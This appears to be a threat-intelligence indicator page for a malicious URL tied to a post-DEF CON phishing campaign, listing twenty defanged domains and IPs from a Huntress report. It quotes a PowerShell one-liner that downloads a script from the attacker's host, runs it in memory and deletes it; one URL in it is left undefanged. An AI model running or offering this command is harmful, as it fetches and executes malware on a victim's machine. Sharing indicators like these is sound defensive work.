hxxps://1foqo[.]lat/core4URL
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 2 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Post-DEF CON Phishing Uses Malicious Google Doc to Deliver Malware“$t=$env:temp+'\sys.ps1';try{Import-Module BitsTransfer -EA Stop;Start-BitsTransfer 'hxxps://1foqo[.]lat/core4' $t -EA Stop}catch{Invoke-WebRequest 'hxxps://1foqo.lat/core4' -OutFile $t -UseBasicParsing};iex(gc $t -Raw);ri $t”
Indicators reported together
named in the same reports- eu03hub[.]comin 1 report
- hxxps://apple-googleapi[.]com/iin 1 report
- apple-googleapi[.]comin 1 report
- notes[.]appin 1 report
- hxxp://86.54.25[.]213/login 1 report
- 86.54.25[.]213in 1 report
- hxxp://192.253.248[.]181/api/v1/getscpt/in 1 report
- 192.253.248[.]181in 1 report
- hxxps://gapidriver[.]com/installer/GapiUpdate.applicationin 1 report
- gapidriver[.]comin 1 report
- 1foqo[.]latin 1 report
- hxxps://2fksf[.]lat/res10.phpin 1 report
- 2fksf[.]latin 1 report
- hxxps://2fksf[.]lat/res11.phpin 1 report
- hxxps://3pqow[.]lat/res12.phpin 1 report
- 3pqow[.]latin 1 report
- hxxps://docsend[.]online/download/driversin 1 report
- docsend[.]onlinein 1 report
- apple.eu03hub[.]comin 1 report
- microsoft.eu02hub[.]comin 1 report
Copy these 20 indicators · defanged
Thanks — we review every report.